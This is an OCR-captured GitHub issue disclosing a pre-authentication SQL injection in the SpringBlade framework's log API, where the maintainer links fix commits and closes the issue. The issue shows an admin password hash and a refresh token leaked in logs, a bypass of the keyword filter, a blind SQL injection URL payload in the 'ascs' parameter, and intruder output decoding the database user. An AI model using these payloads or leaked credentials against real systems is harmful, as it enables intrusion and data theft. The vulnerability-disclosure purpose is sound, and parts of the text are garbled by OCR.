Jump to bottom

## Pre-auth SQL injection #9



New issue

⊙ Closed ) tz2u opened this issue on Jul 25, 2020 · 3 comments

```
tz2u commented on Jul 25, 2020
Flaws in DAO/DTO implementation allows SQLi in order by clause.
User token and/or password hash disclosed in pre-auth APIs of which are vulnerable to SQLi above as well.
    /api/blade-log/api/list
  is exposed by default install. For instance, the demo site
                       a saber.bladex.vip/api/blade
 18
                                "requestUri": "/oauth/token",
                                                                                                                                                                                                                                                                                                     Ö
  19
                                "method": "POST"
                                "methodClass": "org.springblade.modules.auth.endpoint.BladeTokenEndPoint",
                                                                                                                                                                                                                                                                                                     RHI
  20
                                "methodName": "token",
  21
  22
                                "params":
               "tenantId=000000\& username=admin\& password=21232f297a57a5a743894a0e4a801fc3\& grant\_type=captcha\& scope=all\& type=account", and the password of the password 
  23
                               "createBy": ""
                               "createTime": "2020-07-25 20:03:32",
  24
  25
                               "type": "1",
"title": "登录用户验证",
  26
                               "time": "14"
  27
  28
  29 +
                               "id": "1286995241527742466",
  31
                               "tenantId": "000000",
                               "serviceId": "blade-api",
"serverIp": "172.17.0.1:8800",
  32
  33
                               "serverHost": "blade",
  34
  35
                               "env": "dev",
"remoteIp": "125.77.252.50",
  36
  37
                               "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116
  38
                               "requestUri": "/oauth/token",
  39
                               "method": "POST"
  40
                               "methodClass": "org.springblade.modules.auth.endpoint.BladeTokenEndPoint",
"methodName": "token",
  41
  42
                               "params"
               "tenantId=000000&refresh_token=eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ1c2VyX
               2lkIjoiMTEyMzUSODgyMTczODY3NTIwMSIsInRva2VuX3R5cGUiOiJyZWZyZXNoX3Rva2VuIiwiY2xpZW50X2lkIjoic2FiZXIiLCJleHAiOjE1OTYyODAzNTEsIm5iZiI6MT
              USNTY3NTU1MX0.3GH-FmXiZvAkdMkBkKvihyHi7UNMc__gOMcowqGxX68&grant_type=refresh_token&scope=all",
 'Refresh token' can be used to exchange for a valid jwt ticket, or in a different way to compromise user account, log in with credential cracked from leaking md5 hash.
 Before actually stepping into the system, let's see what's else we could find on this API.
 Request handling looks a lot like this
                    * 查询多条(分页)
                  @GetMapping("/list")
                  public R<IPage<LogUsualVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
                              IPage<LogUsual> pages = logService.page(Condition.getPage(query), Condition.getQueryWrapper(log, LogUsual.class));
List<LogUsualVo> records = pages.getRecords().stream().map(logApi -> {
    LogUsualVo vo = BeanUtil.copy(logApi, LogUsualVo.class);
                                            vo.setStrId(Func.toStr(logApi.getId()));
                              }).collect(Collectors.toList());
IPage<LogUsualVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal()));
                               pageVo.setRecords(records);
                               return R.data(pageVo);
Condition.getPage() casts a few params to Int and replace 'bad words' with blank string in 'ascs' and 'desc' (which are then pasted into order by clause)
           public static <T> IPage<T> getPage(Query query) {
                 Page<T> page = new Page((long)Func.toInt(query.getCurrent(), 1), (long)Func.toInt(query.getSize(), 10));
                  page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
the Condition.getQueryWrapper() thing is a sort of indicator for batis data model, apart from being a type indicator it is in charge of building statement. after a few delegates and overrides it gets
 invoked in the way below
           public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
                 exclude.forEach((k, v) \rightarrow \{
                        query.remove(k);
```

```
QueryWrapper<T> qw = new QueryWrapper();
         qw.setEntity(BeanUtil.newInstance(clazz));
         SqlKeyword.buildCondition(query, qw);
         return qw;
Only seen tokenization stuffs in SqlKeyword.buildCondition(). At this stage, pre-auth visitors can perform SQLi by providing malicious query.get(AD]scs() values, which were directly taken from
reuqest as strings, if SqlKeyword.filter() isn't too strong, right?
     public static String filter(String param) {
         return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
Simply 'double-write' (eg, select -> selselectect) to bypass while doing real world exploitation. filter won't interfere with POCs below. Notice comma char (%2c) gets picked up and replaced in
deeper delegate.
Iterate placeholder 1 and 97 in URL below (params decoded) from 1 to 20ish and 97 to 123 respectively.
  /api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97
by comparing response length, pick out uncommon returns, record relating iterator nums, gets you a ascii sequence of [98,108,97,100,101,120,?,108,111,99,97,108,104,111,115,116,?.....] non-
lowercase-alphabet chars are marked as '?'
 Request
                Payload1
                                                         Payload2
                                                                                                  Status
                                                                                                                   Error
                                                                                                                               Timeout Lengt
 3
                 3
                                                          97
                                                                                                   200
                                                                                                                                             6432
                                                                                                                                    19
                                                          98
                 1
                                                                                                   200
                                                                                                                                             6432
                                                                                                                       97
 11
                 11
                                                                                                   200
                                                                                                                                             6433
                                                                                                                       46
                 10
                                                          99
                                                                                                   200
                                                                                                                                    6433
                                                                                                                       4
                                                          100
 58
                                                                                                   200
                                                                                                                       6433
 77
                  5
                                                          101
                                                                                                   200
                                                                                                                                             6433
                                                                                                                                    2
 200
                                                          108
                                                                                                   200
                                                                                                                       6433
                 8
 206
                                                          108
                                                                                                   200
                                                                                                                       6433
                 9
 261
                                                          111
                                                                                                   200
                                                                                                                       6433
                                                                                                                                    420
                 6
                                                          120
                                                                                                   200
                                                                                                                       6433
 139
                 13
                                                          104
                                                                                                   200
                                                                                                                       6434
 210
                  12
                                                          108
                                                                                                   200
                                                                                                                                             6434
                                                                                                                       266
                 14
                                                          111
                                                                                                   200
                                                                                                                       6434
 339
                 15
                                                          115
                                                                                                   200
                                                                                                                       6434
 358
                                                                                                   200
                                                                                                                                             6434
                 16
                                                          116
 163
                                                          106
                                                                                                   200
                                                                                                                                             9219
 164
                 2
                                                          106
                                                                                                   200
                                                                                                                                             9219
                                                                                                                       3
 165
                                                          106
                                                                                                   200
                                                                                                                       9219
 166
                  4
                                                          106
                                                                                                   200
                                                                                                                                             9219
                                                                                                                                    167
                 5
                                                          106
                                                                                                   200
                                                                                                                       9219
                 6
                                                          106
                                                                                                   200
                                                                                                                                             9219
 168
                                                                                                                       7
                                                          106
                                                                                                   200
                                                                                                                                             9219
 169
                                                                                                                       170
                  8
                                                          106
                                                                                                   200
                                                                                                                                             9219
   Request
                 Response
   Raw
           Params
                         Headers
                                       Hex
this gets you current db user.
  >>> ''.join(map(chr,[98,108,97,100,101,120,63,108,111,99,97,108,104,111,115,116]))
  'bladex?localhost'
post script
the actul /api/blade-log/api/list sets a fixed "desc", is vulne to malicious "ascs" only.
  IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));
tz2u commented on Aug 27, 2020 • edited ▼
                                                                                                                                                      Author
Left unpatched in 2.7.2
Affected components are
blade-core-log-2.7.2.jar
blade-core-mybatis-2.7.2.iar
Relating CVE-2020-16165 and CNVD-2020-43762, credit to Chaitin Tech.
```

```
chillzhuang commented on Aug 27, 2020

thank you for your feedback
```

```
chillzhuang commented on Aug 27, 2020 • edited ▼

done

e2eb792
```

https://gitee.com/smallc/SpringBlade/commit/5acbe6a685916ed368a02f70c653ad440198cdd8 https://gitee.com/smallc/SpringBlade/commit/72ffd928a02eac022a496c4fd7aee8f5817ed7ca

chillzhuang closed this as completed on Aug 27, 2020

Assignees No one assigned	
Labels None yet	
Projects None yet	
Milestone No milestone	
Development  No branches or pull requests	

2 participants

